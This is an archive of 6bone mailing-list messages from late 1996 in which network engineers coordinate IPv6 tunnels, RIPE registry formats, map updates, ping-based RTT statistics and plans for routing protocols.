tunnel in the other object (if already existing) is defined in opposite
order. My personal opinion is that this check is enough.

> > And one step further:
> >
> > tunnel: IPv6 in IPv4 129.99.236.71 <-> 192.xxx.xxx.xxx
> >
> > The IP addresses already determines where the tunnel is going to. The
> > database software is capable enough of finding the site names that have
> > tunnels with a certain IP address on run time. This also avoids data
> > duplication problems which is usually not a bad idea in database design ...
> 
> Yes, you are right again. I was looking at this from the human-readable form
> (e.g. source files) but that does not have to be the ending user interface.
> 
> > tunnel: IPv6 in IPv4 129.99.236.71 NAS <-> 192.xxx.xxx.xxx Cisco
> 
> I like the database parsing the tunnel endpoints, but what would this require
> from the data-side? Would the database be able to grok Cisco's entry and search
> for NAS's IP address on the right (remote) side and then backfill the record
> accordingly?

Yes, with one exception:

If the other object (Cisco) is not updated yet with the new tunnel.
However, this might be a good feature, a tunnel is regarded as
working when both ends have updated their objects.

Other question is:

Do you want to use IP addresses of both end points and/or is the DNS host
name instead of an IP address more flexible ?!?

Allowing the <IP/DNS> possibility makes the backfill more difficult and
error-prone but is certainly not impossible (<IP> or <DNS> only is
easiest).

David K.
---

From majordom@ISI.EDU  Mon Sep 23 10:28:23 1996
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To: Gary Veum <veum@cobra.gsfc.nasa.gov>
Cc: 6bone@isi.edu
Subject: need a new tunnel to nasa/gsfc
In-Reply-To: <3246BDE7.41C6@cobra.gsfc.nasa.gov>
References: <3246BDE7.41C6@cobra.gsfc.nasa.gov>
From: Sebastien.Roy@unh.edu
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Gary Veum writes:
 > hi,
 > i'm at nasa/gsfc (east coast)with a a some ipv6 machines.  i have both
 > dec and sun boxes.  can someone who could provide me a tunnel contact
 > me?
 > 
 > thanks.
 > 
 > -gary

Hello,

	Do you still need a tunnel?  I would be willing to provide one
for you.  The information for our end is contained in the RIPE
database.  Let me know if you want me to configure the tunnel.

-- 
Sebastien C. Roy
RCC/IOL
University of New Hampshire
Sebastien.Roy@unh.edu

From majordom@ISI.EDU  Mon Sep 23 08:33:01 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Mon, 23 Sep 1996 15:33:01 PDT
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I've just updated my routing table based on the RIPE Registry data.
I have routes for each site with a RIPE entry.  I don't have a
route for Telebit/DK just yet -- only because I don't have accurate
current data from them.  It would be useful if someone from Telebit/DK
would email me their routing prefix and also if they would update
their entry with the RIPE Registry so that the data is available to
everyone on the 6bone.

IMHO it would be useful if sites having an AAAA-capable DNS server
would list the domain name of their IPv6 ping'able host.  This would
let us all move towards use of DNS and away from use of or need for
flat host tables of any sort.

Ran
rja@cisco.com


-- 

From majordom@ISI.EDU  Tue Sep 24 03:21:54 1996
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From: "Alain Durand" <Alain.Durand@imag.fr>
Message-Id: <960924012154.ZM22952@rama.imag.fr>
Date: Tue, 24 Sep 1996 01:21:54 +0200
In-Reply-To: rja@cisco.com (Ran Atkinson)
        "6bone-router.cisco.com status" (Sep 23,  3:33pm)
References: <199609232233.PAA04236@cornpuffs.cisco.com>
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Just an idea I had looking at the 6-bone map and trying to figure out
which route shall I take to go to cisco: it might be usefull to give
some kind of average RTT for each tunnel. I know, this is highly dynamic,
but this will still provide some hints about the speed of the links
and might be use as a rought metric.

For example, tonight a 1:20 am

G6 -> U-lisboa (pt): RTT = 1000 ms
G6 -> UNH (us):      RTT =  400 ms
G6 -> UNI-C (dk):    RTT =  200 ms
G6 -> JOIN (de):     RTT =  500 ms
G6 -> MAINZ (de):    RTT =  600 ms
G6 -> NIST (us):     RTT =  300 ms
G6 -> SICS (se):     RTT =  150 ms
G6 -> WIDE (jp):     down

I made some observation at other times of the day, I had similar results.

Comments?

	- Alain


From majordom@ISI.EDU  Tue Sep 24 02:47:31 1996
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From: "Alain Durand" <Alain.Durand@imag.fr>
Message-Id: <960924004731.ZM23516@rama.imag.fr>
Date: Tue, 24 Sep 1996 00:47:31 +0200
In-Reply-To: davidk@ISI.EDU
        "Re: 6bone Registry" (Sep 23,  1:47pm)
References: <199609232047.AA18959@nam.isi.edu>
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To: 6bone@ISI.EDU
Subject: 6bone Registry & bidirectional tunnels
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On Sep 23,  1:47pm, davidk@ISI.EDU wrote:
> Subject: Re: 6bone Registry
>
> > True, and if we do include the handle along with the addresses of the
> > endpoints, that would clear up which was which. We then could eliminate the
> > 'src' and 'dst' keywords and end up with something like:
> >
> > tunnel: IPv6 in IPv4 129.99.236.71 NAS to 192.xxx.xxx.xxx Cisco
> >
> > The insertion of the "to" keywoard could replace "src" & "dst" while still
> > delimiting the string somewhat.
>
> I like this idea. You might want to substitute 'to' by <-> for
> bidirectional tunnels and ->/<- for unidirectional tunnels (this might be
> an academic possibility, but who knows ?). This also avoids alpha-numeric
> characters and thus makes it easier for the software (and may be even for
> humans) to parse the tunnel line in the right parts.

humm... just that from what I understand of tunnels (at least in the
implementations I'm working with) they are essentially asymetric.
That is, you specify where your packets are going, not where they
come from. So a tunnel is only bidirectional if both sides configure it
in the same way.

Maybe we should emphasize that this SHOULD always be the rule.
I have already experiment misconfigured sites with asymetric tunnels,
packets do not take the same path on their way back, and sometime we get
very weird results and I feel it's more difficult to debug.

	- Alain.

From majordom@ISI.EDU  Mon Sep 23 18:39:29 1996
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To: "Alain Durand" <Alain.Durand@imag.fr>
Cc: 6bone@ISI.EDU
Subject: Re: RIPE registry 
In-Reply-To: Your message of "Tue, 24 Sep 96 01:21:54 +0200."
             <960924012154.ZM22952@rama.imag.fr> 
Date: Mon, 23 Sep 96 22:39:29 -0400
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Alain,

This is really good thing to do.  And why we want multiple entry points
for testing.

/jim

From majordom@ISI.EDU  Tue Sep 24 00:25:08 1996
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Date: Tue, 24 Sep 1996 07:25:08 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change - Sun registered and lines don't cross :-)
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6bone drawing 23:

Sun is now RIPE registered, only Telebit is left.  Give our success with
the RIPE registry at this point I will no longer add to the map any site
not registered at RIPE (why wait for December).

Also, I've taken Ran's advice on line crossings.  This map will be a
challenge as it grows, but as long as it is useful in its current scale
I'll continue it.


Thanks,

Bob




From majordom@ISI.EDU  Tue Sep 24 01:19:09 1996
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Date: Tue, 24 Sep 1996 08:19:09 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: please check Geert Jan's registry info email web page
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I've put Geert Jan's email on how to create and write your own 6bone
registry entry (less id and password) into a web page accessible thru the
6bone home page.

Please let me know if there is anything wrong with it.

I'm assuming that, in spite of the discussions on changing the its
structure/ content, that the original email still pertains.  Let me know if
this isn't so and I will change the page pronto!


Thanks,

Bob



From majordom@ISI.EDU  Sat Sep 24 19:18:16 1996
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To: "Alain Durand" <Alain.Durand@imag.fr>
Cc: 6bone@ISI.EDU
Subject: Re: RIPE registry
References: <199609232233.PAA04236@cornpuffs.cisco.com>
	<960924012154.ZM22952@rama.imag.fr>
From: Frank Strauss <strauss@ibr.cs.tu-bs.de>
Date: 24 Sep 1996 17:18:16 +0200
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"Alain Durand" <Alain.Durand@imag.fr> writes:

> which route shall I take to go to cisco: it might be usefull to give
> some kind of average RTT for each tunnel. I know, this is highly dynamic,
> but this will still provide some hints about the speed of the links
> and might be use as a rought metric.
> [...]
> Comments?

I like that idea. I've set up a short script grabbing pingable
addresses out of the RIPE registry and sending out some echo requests
every hour (that often probably just for the first few days). The
results may be seen at http://www.cs.tu-bs.de/~strauss/ipng/stats.html.
Note that TU-BS is one of the leaf sites with just one default
tunnel. Therefore our values are not very representative for US
residents, for example.


From majordom@ISI.EDU  Wed Sep 25 14:55:11 1996
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Date: Wed, 25 Sep 1996 12:55:11 +0200 (MET DST)
From: Bernard.Tuy@urec.fr (Bernard TUY)
Message-Id: <199609251055.MAA13034@calypso.urec.fr>
To: 6bone@isi.edu
Subject: Re: 6bone map change - Sun registered and lines don't cross :-)
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	Thanx Bob for the nice job you've done.
	I'm just back from the RIPE meeting in A'dam where the IPv6-wg
	meet. Francis, GeertJan and me have presented the 6bone initiative
	and many other things related to IPv6. We have invited everybody
	attending the session to launch IPv6 hosts at their office and
	connect to the 6bone... after having been registered at the RIPE !
	The group strongly recommand the RIPE NCC to have an active role 
	in the coordination inside Europe.
	I think minutes of the meeting will be available sooner or later
	and I wonder if it's of intereset for people participating this 
	mailing list to get them (or an URL where to pick them up) ?

  Regards,

 +Bernard Tuy.


From majordom@ISI.EDU  Tue Sep 24 23:44:48 1996
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Date: Wed, 25 Sep 1996 06:44:48 -0700
To: Bernard.Tuy@urec.fr (Bernard TUY)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6bone map change - Sun registered and lines don't cross :-)
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Bernard,

>	Thanx Bob for the nice job you've done.
>	I'm just back from the RIPE meeting in A'dam where the IPv6-wg
>	meet. Francis, GeertJan and me have presented the 6bone initiative
>	and many other things related to IPv6. We have invited everybody
>	attending the session to launch IPv6 hosts at their office and
>	connect to the 6bone... after having been registered at the RIPE !
>	The group strongly recommand the RIPE NCC to have an active role
>	in the coordination inside Europe.
>	I think minutes of the meeting will be available sooner or later
>	and I wonder if it's of intereset for people participating this
>	mailing list to get them (or an URL where to pick them up) ?

Glad things went well.

Yes, please do let us know how to get the minutes.


Thanks,

Bob



From majordom@ISI.EDU  Wed Sep 25 10:48:50 1996
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We have patched Apache 1.1.1 to support IPv6 here and now have a server running
at http://www.ipv6.nas.nasa.gov/. This returns both an A and a AAAA DNS record.
If you want only an AAAA record, the address www6.ipv6.nas.nasa.gov will
provide that.

I will be posting our patches to Apache 1.1.1 to this server shortly. This
server will also replace the old location for the geographical map.

Please direct any questions or problems to <ahoag@nas.nasa.gov>.


-- 
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--

From majordom@ISI.EDU  Thu Sep 26 13:04:17 1996
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Date: Thu, 26 Sep 1996 11:04:17 +0200 (MET DST)
From: JOIN Project Team <ipng@uni-muenster.de>
To: Alain Durand <Alain.Durand@imag.fr>
Cc: 6bone@ISI.EDU, Frank Strauss <strauss@ibr.cs.tu-bs.de>,
        JOIN Project Team <join@uni-muenster.de>
Subject: Re: RIPE registry
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On Tue, 24 Sep 1996, Alain Durand wrote:

> Just an idea I had looking at the 6-bone map and trying to figure out
> which route shall I take to go to cisco: it might be usefull to give
> some kind of average RTT for each tunnel. I know, this is highly dynamic,
> but this will still provide some hints about the speed of the links
> and might be use as a rought metric.
> 
> For example, tonight a 1:20 am
> 
> G6 -> U-lisboa (pt): RTT = 1000 ms
> G6 -> UNH (us):      RTT =  400 ms
> G6 -> UNI-C (dk):    RTT =  200 ms
> G6 -> JOIN (de):     RTT =  500 ms
> G6 -> MAINZ (de):    RTT =  600 ms
> G6 -> NIST (us):     RTT =  300 ms
> G6 -> SICS (se):     RTT =  150 ms
> G6 -> WIDE (jp):     down
> 
> I made some observation at other times of the day, I had similar results.

Like Frank did i also have set up a www page showing a list of many 6bone
addresses. Hourly the average round trip delays are updated... 

Look at http://www.join.uni-muenster.de/local/v6ping/v6answer.html

-- Guido

------------------------------------------------------------------------------
JOIN -- IP Version 6 in the WiN   Guido Wessendorf
        A project of DFN          Westfaelische Wilhelms-Universitaet Muenster
Project Team email:               Universitaetsrechenzentrum
           join@uni-muenster.de   Einsteinstrasse 60
http://www.join.uni-muenster.de   D-48149 Muenster / Germany

phone: ++49 251 83 8459, fax: ++49 251 83 2678, email: wessend@uni-muenster.de
------------------------------------------------------------------------------


From majordom@ISI.EDU  Thu Sep 26 00:40:38 1996
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 <Pine.SV4.3.95.960926110149.594B-100000@SOLARIX1.UNI-MUENSTER.DE>
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Date: Thu, 26 Sep 1996 07:40:38 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone stats
Cc: Frank Strauss <strauss@ibr.cs.tu-bs.de>,
        JOIN Project Team <join@uni-muenster.de>
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I've put up a page (accessible thru the 6bone home page) to point to Frank
Strauss' and Guido Wessendorf's ping data pages.

If other pages of useful (hopefully continually updated) data are
available, please let me know and I will add them.


A question for Frank and Guido:  How often are your pages refreshed and
what is the ping repeat cycle (Guido's refresh is one hour, but don't know
the ping repeat).


Thanks,

Bob



From majordom@ISI.EDU  Thu Sep 26 00:51:37 1996
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Date: Thu, 26 Sep 1996 07:51:37 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change - TELEBIT/DK RIPE registered
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Eureka, we have now reached the point where all 6bone sites are RIPE-NCC
registered.  6bone drawing version 24 shows TELEBIT/DK as registered.


So now I will only take new sites/tunnels for the map that:

	Are RIPE-NCC registered

	Have their tunnel(s) validated

By validated I mean the tunnel is known to work in both directions.


Have there been agreements yet on registry format changes that I can record
in the "how to register..." writeup?


Thanks,

Bob



From majordom@ISI.EDU  Thu Sep 26 19:33:18 1996
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Date: Thu, 26 Sep 1996 17:33:18 +0200 (MET DST)
From: JOIN Project Team <ipng@uni-muenster.de>
To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6BONE Mailer <6bone@ISI.EDU>, Frank Strauss <strauss@ibr.cs.tu-bs.de>,
        JOIN Project Team <join@uni-muenster.de>
Subject: Re: 6bone stats
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Hi Bob,

On Thu, 26 Sep 1996, Bob Fink LBNL wrote:

> I've put up a page (accessible thru the 6bone home page) to point to Frank
> Strauss' and Guido Wessendorf's ping data pages.
> 
> If other pages of useful (hopefully continually updated) data are
> available, please let me know and I will add them.
> 
> 
> A question for Frank and Guido:  How often are your pages refreshed and
> what is the ping repeat cycle (Guido's refresh is one hour, but don't know
> the ping repeat).

i send five ICMPv6 echo requests to each listed address hourly, using
ping -s $v6address 56 5 on our Sun.

All the best
--Guido


From majordom@ISI.EDU  Thu Sep 26 02:51:36 1996
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References: <v03007805ae70453783f6@[128.3.9.22]> (message from Bob Fink
 LBNL	on Thu, 26 Sep 1996 07:40:38 -0700)
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Date: Thu, 26 Sep 1996 09:51:36 -0700
To: strauss@ibr.cs.tu-bs.de
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6bone stats
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=46rank,

>my page gets also updated once per hour. it's done by a simple ping6,
>so the echo request frequency is one request per second. i added these
>information to the script (and page).

Changed the page to reflect this.


Thanks,

Bob



From majordom@ISI.EDU  Thu Sep 26 02:50:25 1996
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 <Pine.SV4.3.95.960926172245.1422A-100000@SOLARIX1.UNI-MUENSTER.DE>
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Date: Thu, 26 Sep 1996 09:50:25 -0700
To: JOIN Project Team <ipng@uni-muenster.de>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6bone stats
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Guido,

>i send five ICMPv6 echo requests to each listed address hourly, using
>ping -s $v6address 56 5 on our Sun.

Page updated per above.


Thanks,

Bob



From majordom@ISI.EDU  Thu Sep 26 11:28:51 1996
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Date: Thu, 26 Sep 1996 18:28:51 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: another 6bone logo courtesy of Gustavo Sanchez Gomez
Cc: Gustavo Sanchez Gomez <gustavo@convex.es>
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Another neat logo from Gustavo Sanchez Gomez.

	http://www-6bone.lbl.gov/6bone/logos/6bone_logos.html


Thanks,

Bob

=3D=3D=3D
Date: Thu, 26 Sep 1996 22:48:30 +0200
=46rom: Gustavo Sanchez Gomez <gustavo@convex.es>
Reply-To: gustavo@convex.es
Organization: Convex Supercomputer S.A.E.
Mime-Version: 1.0
To: RLFink@lbl.gov
Subject: Other logo ...

This is a good logo ... and a good IPv6 address.
	I should like this address for my WS ... :-)

	If you don't receive the gif file well, say me please, and send once
more time.

	Thanks.

--
Gustavo Sanchez Gsmez
Consultor
Convex Supercomputer S.A.E.
Tlf: 95-4530694
Luis de Morales 32, edif. Forum, msdulo 3-30
Sevilla, Spain
e-mail: gustavo@convex.es
---



From majordom@ISI.EDU  Fri Sep 27 15:00:07 1996
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Date: Fri, 27 Sep 1996 13:00:07 +0200
Message-Id: <199609271100.NAA02248@sol.ibr.cs.tu-bs.de>
From: Frank Strauss <strauss@ibr.cs.tu-bs.de>
To: karita@kekvax.kek.jp
Cc: RLFINK@lbl.gov, 6BONE@isi.edu
In-Reply-To: <96092713554127@kekvax.kek.jp> (karita@kekvax.kek.jp)
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Hi!

Yukio> [...] Or, is Frank's ping not routed over the 6bone but routed
Yukio> just as ipv4?

I have just one default tunnel to JOIN as shown in Bob's map.
Sorry, I'm actually short time and more unfortunately our IPv6 router
fix.ipv6.ibr.cs.tu-bs.de is shut down in a few minutes for a yet
unknown time, so there will be no way to ping it. But with the
knowledge that JOIN is just one hop away in a static manner, it should
be ok, if anyone want's to investigate any further.

							Frank

From majordom@ISI.EDU  Fri Sep 27 04:37:04 1996
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From: "Andrew J. Hoag" <ahoag@nas.nasa.gov>
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Date: Fri, 27 Sep 1996 11:37:04 -0700
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I did one more quick update to the Geographical map (at
http://www.ipv6.nas.nasa.gov/viz/ ) before I leave for LISA. I haven't done any
updates lately while I've been waiting for a standardized format out of RIPE.

Enjoy!


-- 
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--

From majordom@ISI.EDU  Fri Sep 27 08:58:42 1996
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From: davidk@isi.edu
Posted-Date: Fri, 27 Sep 1996 15:58:42 -0700 (PDT)
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Subject: Re: Updated Geographical map
To: ahoag@nas.nasa.gov (Andrew J. Hoag)
Date: Fri, 27 Sep 1996 15:58:42 -0700 (PDT)
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In-Reply-To: <9609271137.ZM4654@rennsport.nas.nasa.gov> from "Andrew J. Hoag" at Sep 27, 96 11:37:04 am
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Hi Andrew,

> Andrew J. Hoag writes :
>
> I haven't done any
> updates lately while I've been waiting for a standardized format out of RIPE.

I am working on a proposal for a standarized format based on the recent
discussion on the list and my knowledge of the current RIPE database
implementation.

I am currently discussing the document with Geert Jan. I will post the
proposal for further discussion/amendments to the list when Geert Jan has
helped me to fill in the missing pieces and obvious errors.

Please expect that this process will take some time; Geert Jan is very
busy right now as I understand it from private conversations with him.

David K.
---

From majordom@ISI.EDU  Fri Sep 27 13:26:56 1996
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From: Jong Kann <kann@CS.UCLA.EDU>
Message-Id: <199609280326.UAA06618@pelican.cs.ucla.edu>
Subject: UCLA registry update.
To: 6bone@isi.edu
Date: Fri, 27 Sep 1996 20:26:56 -0700 (PDT)
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Thanks to the JOIN/DE stats, that I found out I had a typo in my original 
registry.  Please use the latest version to update your IPv6 hosts 
database if you have one.  I'm sorry for the inconvenience that this 
might cause you.

Best Regards,
Jong 
kann@cs.ucla.edu

p.s. original addr: 5f0d:xxxxx
     correct  addr: 5f00:xxxxx

From majordom@ISI.EDU  Mon Sep 30 09:21:55 1996
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Date: Mon, 30 Sep 1996 13:21:55 -0400 (EDT)
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To: 6bone@isi.edu
Subject: Stats from NIST site.
Cc: rob.glenn@nist.gov, rlfink@lbl.gov
From: 6bone@snad.ncsl.nist.gov
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We had a major outage this weekend so I don't know if this made it...
---------------------------------------------------------------------

Autogenerated and color-coded ping statistics from NIST can be found at:

http://snad.ncsl.nist.gov/~ipng/NIST-6bone-status.html

The script downloads the RIPE registries and attempts to ping every
pingable site listed in each file.  This include the v4 Tunnel address.

Data is gathered using ping on a BSD/OS PC running the NRL Alpha-3 IPv6
code. The pinging system is two hops from the tunnel end-point. This
implies that v6 RTTs are relative to the return trip times for NIST.
Thus, computed RTT is given as SITE RTT - NIST RTT.

v4 paths are different than the v6 tunnel paths. v4 Tunnel RTTs are
listed but have little, if any, relation to v6 RTT.

Each site is pinged 10 times using a packet size of 500 bytes.
Statistics are gathered every hour.

NOTE: I tried 1000 bytes but that failed too often.

Rob G.
rob.glenn@nist.gov

PS - If anyone wants a copy of the script, let me know.  FYI: To run it
     you need PERL 5 or better installed.


From majordom@ISI.EDU  Mon Sep 30 11:09:08 1996
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Date: Mon, 30 Sep 1996 18:09:08 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Stats from NIST site.
Cc: rob.glenn@nist.gov
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I've added Rob Glenn's ping page stats from NIST to the 6bone stat page
pointers.

I like the stats, especially the color coding for easy checking of what's
losing what.


Bob

=3D=3D=3D=3D=3D
At 10:21 AM -0700 9/30/96, 6bone@snad.ncsl.nist.gov wrote:
>We had a major outage this weekend so I don't know if this made it...
>---------------------------------------------------------------------
>
>Autogenerated and color-coded ping statistics from NIST can be found at:
>
>http://snad.ncsl.nist.gov/~ipng/NIST-6bone-status.html
>
>The script downloads the RIPE registries and attempts to ping every
>pingable site listed in each file.  This include the v4 Tunnel address.
>
>Data is gathered using ping on a BSD/OS PC running the NRL Alpha-3 IPv6
>code. The pinging system is two hops from the tunnel end-point. This
>implies that v6 RTTs are relative to the return trip times for NIST.
>Thus, computed RTT is given as SITE RTT - NIST RTT.
>
>v4 paths are different than the v6 tunnel paths. v4 Tunnel RTTs are
>listed but have little, if any, relation to v6 RTT.
>
>Each site is pinged 10 times using a packet size of 500 bytes.
>Statistics are gathered every hour.
>
>NOTE: I tried 1000 bytes but that failed too often.
>
>Rob G.
>rob.glenn@nist.gov
>
>PS - If anyone wants a copy of the script, let me know.  FYI: To run it
>     you need PERL 5 or better installed.




From majordom@ISI.EDU  Tue Oct  1 09:17:37 1996
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Date: Tue, 1 Oct 1996 16:17:37 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change - NASA-GSFC/US tunnel to NRL/US
Cc: rja@cisco.com (Ran Atkinson)
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6bone diagram 25:

	NASA-GSFC/US now has a tunnel to NRL/US.

http://www-6bone.lbl.gov/6bone/6bone-drawing.html


Bob
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D
=46rom: rja@cisco.com (Ran Atkinson)
Date: Tue, 1 Oct 1996 10:44:49 PDT
To: rlfink@lbl.gov
Subject: 6bone map addition

Hi,

NASA-GSFC is now online at RIPE.  Their prefix is 5f06:d500/32 and their
tunnel is with NRL.  Other sites maintaining full routing probably want to a=
dd
them to their routing tables.

I can ping them from cisco (below) so its clear that their tunnel with NRL
works both ways (and my route for NASA-GSFC is in place in 6bone-router :-).

Ran
rja@cisco.com

-------------------------------------------------
6bone-router#ping ipv6 gsfc-frog-6

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 5F06:D500:C677:1300:2001:0800:207C:C310,
timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max =3D 84/104/144 ms
6bone-router#
-------------------------------------------------


--



From majordom@ISI.EDU  Mon Oct  7 21:26:55 1996
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From: Igor Sharfmesser <igor@kit.kz>
Message-Id: <199610070926.PAA19369@mail.kit.kz>
Subject: Connection to 6bone
To: 6bone@isi.edu
Date: Mon, 7 Oct 1996 15:26:55 +0600 (GMT+0600)
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Hello

I'm writing from Kazakhstan. Our company is largest ISP at Kazakhstan.
We are seeking for tunnet to IPv6 backbone. The our main goal is to get
experience with IPv6. 

Thanks in advance,
Igor Sharfmesser
Kazinformtelecom

From majordom@ISI.EDU  Mon Oct  7 23:57:25 1996
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Date: Tue, 8 Oct 1996 06:57:25 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change - DIGITAL-CA/US & CISCO/US tunnels to G6/FR
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6bone drawing version 26:

	add tunnel from new site DIGITAL-CA/US to G6/FR
	add tunnel from CISCO/US to G6/FR

To make this easier for me I would like to suggest that announcements to me
for tunnels include the RIPE registry entry and a ping example (like Ran
did below) so I don't have to reproduce the effort.  It would sure make my
job easier.

I would note that the 6bone is now truly looking like spaghetti.  My guess
is that this pot of noodles will be very difficult to run RIPv6 over...but
we can address that when the time comes to actually try RIPv6.  No noodles
to the table before their time :-)


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
=46rom: "Alain Durand" <Alain.Durand@imag.fr>
Date: Mon, 7 Oct 1996 10:36:28 +0100
To: Bob Fink LBNL <RLFink@lbl.gov>
Subject: new tunnel with DIGITAL-CA


Hi bob.

There is a new tunnel between DIGITAL-CA and G6. My ripe entry is updated.
>From what I have noticed, they also have tunnels with DIGITAL-NH & UNH.
You might talk to Stephen Stuart <stuart@pa.dec.com> for more infos.

	- Alain.
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D
=46rom: rja@cisco.com (Ran Atkinson)
Date: Mon, 7 Oct 1996 12:45:48 PDT
To: rlfink@lbl.gov
Subject: [6bone] cisco--G6 tunnel up
Cc: alain.durand@imag.fr

Bob,

	There is now a cisco--G6 tunnel up and running.  I will update my RIPE
entry accordingly in a few minutes.  An example ping is appended below.

	The packet loss rate is high enough that I consider this tunnel more
"experimental" more operational at this time.  Since the ESnet/JOIN path is
more dependable at this time, I will continue to use the ESnet/JOIN path as =
my
primary 6bone path to/from European sites.

Regards,

Ran
rja@cisco.com

=0C
----------------------------------------------------------------------
6bone-router>ping ipv6 5F06:B500:8158:1A00:0001::8158:1A01

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 5F06:B500:8158:1A00:0001::8158:1A01,
timeout is 2 seconds:
!.!!.
Success rate is 60 percent (3/5), round-trip min/avg/max =3D 180/185/192 ms
----------------------------------------------------------------------

- end



From majordom@ISI.EDU  Tue Oct  8 01:17:44 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@isi.edu (6BONE Mailer), deering@parc.xerox.com
Subject: Re: 6bone map change - DIGITAL-CA/US & CISCO/US tunnels to G6/FR 
In-Reply-To: RLFink's message of Tue, 08 Oct 96 06:57:25 -0800.
             <v03007800ae800c2959ef@[128.3.9.22]> 
Date: Tue, 8 Oct 1996 08:17:44 PDT
From: Steve Deering <deering@parc.xerox.com>
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> I would note that the 6bone is now truly looking like spaghetti.  My guess
> is that this pot of noodles will be very difficult to run RIPv6 over...

Bob,

Why do you think that?  Isn't the whole purpose of routing protocols, like
RIP, to find paths through arbitrarily-complex topologies?

Steve


From majordom@ISI.EDU  Tue Oct  8 04:14:12 1996
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References: RLFink's message of Tue, 08 Oct 96 06:57:25 -0800.            
 <v03007800ae800c2959ef@[128.3.9.22]>
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Date: Tue, 8 Oct 1996 11:14:12 -0700
To: Steve Deering <deering@parc.xerox.com>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6bone map change - DIGITAL-CA/US & CISCO/US tunnels to G6/FR
Cc: 6bone@isi.edu (6BONE Mailer)
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Steve,

>> I would note that the 6bone is now truly looking like spaghetti.  My gues=
s
>> is that this pot of noodles will be very difficult to run RIPv6 over...

>Why do you think that?  Isn't the whole purpose of routing protocols, like
>RIP, to find paths through arbitrarily-complex topologies?

Can't honetly say it won't work, just that RIP may be fragile for such a
complex topology with some less than reliable sets of links.  We will sure
learn a lot.

However, my real point was to note that some planning may be in order to
create a more sensible backbone for the 6bone when we get to the RIP stage.

As an aside, what are the other routing protocols we are likely to see over
the next year or so.

Thanks,

Bob



From majordom@ISI.EDU  Tue Oct  8 18:15:16 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: 6bone map change - DIGITAL-CA/US & CISCO/US tunnels to G6/FR 
In-Reply-To: Your message of "Tue, 08 Oct 96 08:17:44 PDT."
             <96Oct8.081744pdt."75270"@digit.parc.xerox.com> 
Date: Tue, 08 Oct 96 22:15:16 -0400
From: bound@zk3.dec.com
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Bob,

Can you get the map updated to show the tunnels directly to Cisco, and
UNH-Bay-Digital via UNH too on the 6bone drawing for our new addition 
Digital-CA, in addition to the G6/FR tunnel.  We are setting up to 
distribute packets from S.E. Asia (Singapore, Hong Kong, Thailand, etc..).  
The connection is more than just to G6/FR.  We are by passing other hubs 
on purpose in the spirit of laizze-faire and to make this look like the 
real Internet.  We have chosen to provide routes to nodes via Cisco, 
UNH, and G6/FR hubs.  

p.s. On routing protocols.  I think the next step after RIPv6 is OSPFv6.
Then on to IDRPv6 for exterior routing.  To that end I would like to
figure out at San Jose IETF the status of IDRPv6 from folks working on it.
If it still is not on target I will champion an effort with other
interested vendors to fund with real $$$$ a public domain implementation
vendors can use to get IDRPv6 up and running.  I think GATED Consortia
may be ahead of me and that is where the $$$ need to go.  I just don't know
right now.  The $$$ would include some bright people to work on the spec
too.  I would like to see a prototype of IDRPv6 on the 6bone in 1997.
I view it from an engineering perspective as a MUST SHIP CRITICAL
priority for IPv6 on the 6bone.

thanks
/jim


From majordom@ISI.EDU  Wed Oct  9 12:21:51 1996
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Date: Wed, 9 Oct 1996 10:21:51 +0200 (MET DST)
From: Bernard.Tuy@urec.fr
Message-Id: <199610090821.KAA05641@titan.urec.fr>
To: bound@zk3.dec.com
Subject: Re: 6bone map change - DIGITAL-CA/US & CISCO/US tunnels to G6/FR
Cc: 6bone@ISI.EDU
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|   Date: Tue, 08 Oct 96 22:15:16 -0400
|   From: bound@zk3.dec.com 
|   
|   p.s. On routing protocols.  I think the next step after RIPv6 is OSPFv6.
